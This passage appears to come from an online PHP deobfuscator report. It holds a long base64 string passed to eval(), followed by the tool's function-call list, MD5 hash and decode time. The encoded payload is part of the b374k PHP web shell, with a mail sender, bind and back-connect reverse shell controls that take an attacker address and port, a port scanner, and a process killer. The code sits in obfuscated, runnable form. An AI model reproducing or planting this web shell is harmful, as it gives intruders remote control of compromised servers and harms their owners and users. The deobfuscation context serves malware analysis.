5nZXQoKS5qb2luKCd7W3xiMzc0a3xdfScpOwoJfQoKCXNlbmRfcG9zdCh7bWFpbEZyb206bWFpbEZyb20sIG1haWxUbzptYWlsVG8sIG1haWxTdWJqZWN0Om1haWxTdWJqZWN0LCBtYWlsQ29udGVudDptYWlsQ29udGVudCwgbWFpbEF0dGFjaG1lbnQ6bWFpbEF0dGFjaG1lbnR9LCBmdW5jdGlvbihyZXMpewoJCSQoJyNtYWlsUmVzdWx0JykuaHRtbChyZXMpOwoJfSk7Cn0KCmZ1bmN0aW9uIG1haWxfYXR0YWNoKCl7Cgljb250ZW50ID0gIjx0cj48dGQ+TG9jYWwgZmlsZSA8YSBvbmNsaWNrPVwiJCh0aGlzKS5wYXJlbnQoKS5wYXJlbnQoKS5yZW1vdmUoKTtcIj4oLSk8L2E+PC90ZD48dGQgY29sc3Bhbj0nMic+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdtYWlsQXR0YWNobWVudCcgdmFsdWU9Jyc+PC90ZD48L3RyPiI7CgkkKCcjbWFpbFRCb2R5JykuYXBwZW5kKGNvbnRlbnQpOwp9CgpaZXB0byhmdW5jdGlvbigkKXsKCXJzX2luaXQoKTsKCn0pOwoKZnVuY3Rpb24gcnNfaW5pdCgpewoJaWYoZXZhbFJlYWR5JiYoZXZhbFN1cHBvcnRlZCE9bnVsbCkmJihldmFsU3VwcG9ydGVkIT0nJykpewoJCXNwbGl0cyA9IGV2YWxTdXBwb3J0ZWQuc3BsaXQoIiwiKTsKCQkkLmVhY2goc3BsaXRzLCBmdW5jdGlvbihpLCBrKXsKCQkJJCgnLnJzVHlwZScpLmFwcGVuZCgiPG9wdGlvbj4iK2srIjwvb3B0aW9uPiIpOwoJCX0pOwoJfQoJZWxzZSBzZXRUaW1lb3V0KCdyc19pbml0KCknLCAxMDAwKTsKCgkkKCcjcGFja2V0Q29udGVudCcpLm9uKCdrZXlkb3duJywgZnVuY3Rpb24oZSl7CgkJaWYoZS5jdHJsS2V5ICYmIChlLmtleUNvZGUgPT0gMTAgfHwgZS5rZXlDb2RlID09IDEzKSl7CgkJCXBhY2tldF9nbygpOwoJCX0KCQlmaXhfdGFiY2hhcih0aGlzLCBlKTsKCX0pOwp9CgpmdW5jdGlvbiByc19nb19iaW5kKCl7Cglyc19nbygnYmluZCcpOwp9CmZ1bmN0aW9uIHJzX2dvX2JhY2soKXsKCXJzX2dvKCdiYWNrJyk7Cn0KCmZ1bmN0aW9uIHJzX2dvKHJzVHlwZSl7Cglyc0FyZ3MgPSAiIjsKCWlmKHJzVHlwZT09J2JpbmQnKXsKCQlyc1BvcnQgPSBwYXJzZUludCgkKCcjYmluZFBvcnQnKS52YWwoKSk7CgkJcnNMYW5nID0gJCgnI2JpbmRMYW5nJykudmFsKCk7CgkJcnNBcmdzID0gcnNQb3J0OwoJCXJzUmVzdWx0ID0gJCgnI2JpbmRSZXN1bHQnKTsKCX0KCWVsc2UgaWYocnNUeXBlPT0nYmFjaycpewoJCXJzQWRkciA9ICQoJyNiYWNrQWRkcicpLnZhbCgpOwoJCXJzUG9ydCA9IHBhcnNlSW50KCQoJyNiYWNrUG9ydCcpLnZhbCgpKTsKCQlyc0xhbmcgPSAkKCcjYmFja0xhbmcnKS52YWwoKTsKCQlyc0FyZ3MgPSByc1BvcnQgKyAnICcgKyByc0FkZHI7CgkJcnNSZXN1bHQgPSAkKCcjYmFja1Jlc3VsdCcpOwoJfQoKCWlmKChpc05hTihyc1BvcnQpKXx8KHJzUG9ydDw9MCl8fChyc1BvcnQ+NjU1MzUpKXsKCQlyc1Jlc3VsdC5odG1sKCdJbnZhbGlkIHBvcnQnKTsKCQlyZXR1cm47Cgl9CgoJaWYocnNBcmdzIT0nJyl7CgkJc2VuZF9wb3N0KHsgcnNMYW5nOnJzTGFuZywgcnNBcmdzOnJzQXJncyB9LAoJCQlmdW5jdGlvbihyZXMpewoJCQkJaWYocmVzIT0nZXJyb3InKXsKCQkJCQlzcGxpdHMgPSByZXMuc3BsaXQoJ3tbfGIzNzRrfF19Jyk7CgkJCQkJaWYoc3BsaXRzLmxlbmd0aD09Mil7CgkJCQkJCW91dHB1dCA9IHNwbGl0c1swXSsiPGhyPiIrc3BsaXRzWzFdOwoJCQkJCQlyc1Jlc3VsdC5odG1sKG91dHB1dCk7CgkJCQkJfQoJCQkJCWVsc2V7CgkJCQkJCXJzUmVzdWx0Lmh0bWwocmVzKTsKCQkJCQl9CgkJCQl9CgkJCX0KCQkpOwoJfQp9CgpmdW5jdGlvbiBwYWNrZXRfZ28oKXsKCXBhY2tldEhvc3QgPSAkKCcjcGFja2V0SG9zdCcpLnZhbCgpOwoJcGFja2V0U3RhcnRQb3J0ID0gcGFyc2VJbnQoJCgnI3BhY2tldFN0YXJ0UG9ydCcpLnZhbCgpKTsKCXBhY2tldEVuZFBvcnQgPSBwYXJzZUludCgkKCcjcGFja2V0RW5kUG9ydCcpLnZhbCgpKTsKCXBhY2tldFRpbWVvdXQgPSBwYXJzZUludCgkKCcjcGFja2V0VGltZW91dCcpLnZhbCgpKTsKCXBhY2tldFNUaW1lb3V0ID0gcGFyc2VJbnQoJCgnI3BhY2tldFNUaW1lb3V0JykudmFsKCkpOwoJcGFja2V0Q29udGVudCA9ICQoJyNwYWNrZXRDb250ZW50JykudmFsKCk7CglwYWNrZXRSZXN1bHQgPSAkKCcjcGFja2V0UmVzdWx0Jyk7CglwYWNrZXRTdGF0dXMgPSAkKCcjcGFja2V0U3RhdHVzJyk7CgoJaWYoKGlzTmFOKHBhY2tldFN0YXJ0UG9ydCkpfHwocGFja2V0U3RhcnRQb3J0PD0wKXx8KHBhY2tldFN0YXJ0UG9ydD42NTUzNSkpewoJCXBhY2tldFJlc3VsdC5odG1sKCdJbnZhbGlkIHN0YXJ0IHBvcnQnKTsKCQlyZXR1cm47Cgl9CglpZigoaXNOYU4ocGFja2V0RW5kUG9ydCkpfHwocGFja2V0RW5kUG9ydDw9MCl8fChwYWNrZXRFbmRQb3J0PjY1NTM1KSl7CgkJcGFja2V0UmVzdWx0Lmh0bWwoJ0ludmFsaWQgZW5kIHBvcnQnKTsKCQlyZXR1cm47Cgl9CglpZigoaXNOYU4ocGFja2V0VGltZW91dCkpfHwocGFja2V0VGltZW91dDw9MCkpewoJCXBhY2tldFJlc3VsdC5odG1sKCdJbnZhbGlkIGNvbm5lY3Rpb24gdGltZW91dCcpOwoJCXJldHVybjsKCX0KCWlmKChpc05hTihwYWNrZXRTVGltZW91dCkpfHwocGFja2V0U1RpbWVvdXQ8PTApKXsKCQlwYWNrZXRSZXN1bHQuaHRtbCgnSW52YWxpZCBzdHJlYW0gdGltZW91dCcpOwoJCXJldHVybjsKCX0KCglpZihwYWNrZXRTdGFydFBvcnQ+cGFja2V0RW5kUG9ydCl7CgkJc3RhcnQgPSBwYWNrZXRFbmRQb3J0OwoJCWVuZCA9IHBhY2tldFN0YXJ0UG9ydDsKCX0KCWVsc2V7CgkJc3RhcnQgPSBwYWNrZXRTdGFydFBvcnQ7CgkJZW5kID0gcGFja2V0RW5kUG9ydDsKCX0KCglwYWNrZXRSZXN1bHQuaHRtbCgnJyk7Cgl3aGlsZShzdGFydDw9ZW5kKXsKCQlwYWNrZXRQb3J0ID0gc3RhcnQrKzsKCQlwYWNrZXRSZXN1bHQuYXBwZW5kKCI8aHI+PGRpdj48cCBjbGFzcz0nYm94dGl0bGUnPkhvc3QgOiAiK2h0bWxfc2FmZShwYWNrZXRIb3N0KSsiOiIrcGFja2V0UG9ydCsiPC9wPjxicj48ZGl2IGlkPSdwYWNrZXQiK3BhY2tldFBvcnQrIicgc3R5bGU9J3BhZGRpbmc6MnB4IDRweDsnPldvcmtpbmcuLi4gcGxlYXNlIHdhaXQuLi48L2Rpdj48L2Rpdj4iKTsKCQlwYWNrZXRfc2VuZChwYWNrZXRIb3N0LCBwYWNrZXRQb3J0LCBwYWNrZXRFbmRQb3J0LCBwYWNrZXRUaW1lb3V0LCBwYWNrZXRTVGltZW91dCwgcGFja2V0Q29udGVudCk7CgoJfQp9CgpmdW5jdGlvbiBwYWNrZXRfc2VuZChwYWNrZXRIb3N0LCBwYWNrZXRQb3J0LCBwYWNrZXRFbmRQb3J0LCBwYWNrZXRUaW1lb3V0LCBwYWNrZXRTVGltZW91dCwgcGFja2V0Q29udGVudCl7CglzZW5kX3Bvc3Qoe3BhY2tldEhvc3Q6cGFja2V0SG9zdCwgcGFja2V0UG9ydDpwYWNrZXRQb3J0LCBwYWNrZXRFbmRQb3J0OnBhY2tldEVuZFBvcnQsIHBhY2tldFRpbWVvdXQ6cGFja2V0VGltZW91dCwgcGFja2V0U1RpbWVvdXQ6cGFja2V0U1RpbWVvdXQsIHBhY2tldENvbnRlbnQ6cGFja2V0Q29udGVudH0sIGZ1bmN0aW9uKHJlcyl7CgkJJCgnI3BhY2tldCcrcGFja2V0UG9ydCkuaHRtbChyZXMpOwoJfSwgZmFsc2UpOwp9CgpaZXB0byhmdW5jdGlvbigkKXsKCXNob3dfcHJvY2Vzc2VzKCk7Cn0pOwoKZnVuY3Rpb24gc2hvd19wcm9jZXNzZXMoKXsKCXNlbmRfcG9zdCh7c2hvd1Byb2Nlc3NlczonJ30sIGZ1bmN0aW9uKHJlcyl7CgkJaWYocmVzIT0nZXJyb3InKXsKCQkJJCgnI3Byb2Nlc3NlcycpLmh0bWwocmVzKTsKCQkJc29ydHRhYmxlLmsoJCgnI3BzVGFibGUnKS5nZXQoMCkpOwoJCQlwc19iaW5kKCk7CgkJfQoJfSk7Cn0KCmZ1bmN0aW9uIHBzX2JpbmQoKXsKCSQoJy5raWxsJykub2ZmKCdjbGljaycpOwoJJCgnLmtpbGwnKS5vbignY2xpY2snLCBmdW5jdGlvbihlKXsKCQlraWxsX3BpZChwc19nZXRfcGlkKCQodGhpcykpKTsKCX0pOwoKCgljYm94X2JpbmQoJ3BzVGFibGUnLCdwc191cGRhdGVfc3RhdHVzJyk7Cn0KCmZ1bmN0aW9uIHBzX2dldF9waWQoZWwpewoJcmV0dXJuIGVsLnBhcmVudCgpLnBhcmVudCgpLmF0dHIoJ2RhdGEtcGlkJyk7Cn0KCmZ1bmN0aW9uIHBzX3VwZGF0ZV9zdGF0dXMoKXsKCXRvdGFsU2VsZWN0ZWQgPSAkKCcjcHNUYWJsZScpLmZpbmQoJy5jQm94U2VsZWN0ZWQnKS5ub3QoJy5jQm94QWxsJykubGVuZ3RoOwoJaWYodG90YWxTZWxlY3RlZD09MCkgJCgnLnBzU2VsZWN0ZWQnKS5odG1sKCcnKTsKCWVsc2UgJCgnLnBzU2VsZWN0ZWQnKS5odG1sKCcgKCAnK3RvdGFsU2VsZWN0ZWQrJyBpdGVtKHMpIHNlbGVjdGVkICknKTsKfQoKZnVuY3Rpb24ga2lsbF9zZWxlY3RlZCgpewoJYnVmZmVyID0gZ2V0X2FsbF9jYm94X3NlbGVjdGVkKCdwc1RhYmxlJywgJ3BzX2dldF9waWQnKTsKCglhbGxQaWQgPSAnJzsKCSQuZWFjaChidWZmZXIsZnVuY3Rpb24oaSx2KXsKCQlhbGxQaWQgKz0gdiArICcgJzsKCX0pOwoJYWxsUGlkID0gJC50cmltKGFsbFBpZCk7CglraWxsX3BpZChhbGxQaWQpOwp9CgpmdW5jdGlvbiBraWxsX3BpZChhbGxQaWQpewoJdGl0bGUgPSAnS2lsbCc7Cgljb250ZW50ID0gIjx0YWJsZSBjbGFzcz0nYm94dGJsJz48dHI+PHRkIGNvbHNwYW49JzInPjx0ZXh0YXJlYSBjbGFzcz0nYWxsUGlkJyBzdHlsZT0naGVpZ2h0OjEyMHB4O21pbi1oZWlnaHQ6MTIwcHg7JyBkaXNhYmxlZD4iK2FsbFBpZCsiPC90ZXh0YXJlYT48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPScyJz48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwia2lsbF9waWRfZ28oKTtcIj5raWxsPC9zcGFuPjwvdGQ+PC90cj48L3RhYmxlPiI7CglzaG93X2JveCh0aXRsZSwgY29udGVudCk7Cn0KCmZ1bmN0aW9uIGtpbGxfcGlkX2dvKCl7CglhbGxQaWQgPSAkKCcuYWxsUGlkJykudmFsKCk7CglpZigkLnRyaW0oYWxsUGlkKSE9JycpewoJCXNlbmRfcG9zdCh7YWxsUGlkOmFsbFBpZH0sIGZ1bmN0aW9uKHJlcyl7CgkJCWlmKHJlcyE9J2Vycm9yJyl7CgkJCQkkKCcuYm94cmVzdWx0JykuaHRtbChyZXMgKyAnIHByb2Nlc3MoZXMpIGtpbGxlZCcpOwoJCQl9CgkJCWVsc2UgJCgnLmJveHJlc3VsdCcpLmh0bWwoJ1VuYWJsZSB0byBraWxsIHByb2Nlc3MoZXMpJyk7CgkJCXNob3dfcHJvY2Vzc2VzKCk7CgkJfSk7Cgl9Cn0KCgo8P3BocAoJZm9yZWFjaCgkR0xPQkFMU1snbW9kdWxlX3RvX2xvYWQnXSBhcyAkayl7CgkJZWNobyAiZnVuY3Rpb24gIi4kR0xPQkFMU1snbW9kdWxlJ11bJGtdWydpZCddLiIoKXsgIi4kR0xPQkFMU1snbW9kdWxlJ11bJGtdWydqc19vbnRhYnNlbGVjdGVkJ10uIiB9XG4iOwoJfQo/Pgo8L3NjcmlwdD4KPCEtLXNjcmlwdCBlbmQtLT4KPC9ib2R5Pgo8L2h0bWw+PD9waHAgZGllKCk7Pz4K');
eval($b);

Function Calls

strrev 1
BaSe64_dEcOdE 1

Variables

$a BaSe64_dEcOdE

Stats

MD5 8b2a51200b63a656940d5de5e33520a4
Eval Count 0
Decode Time 25268 ms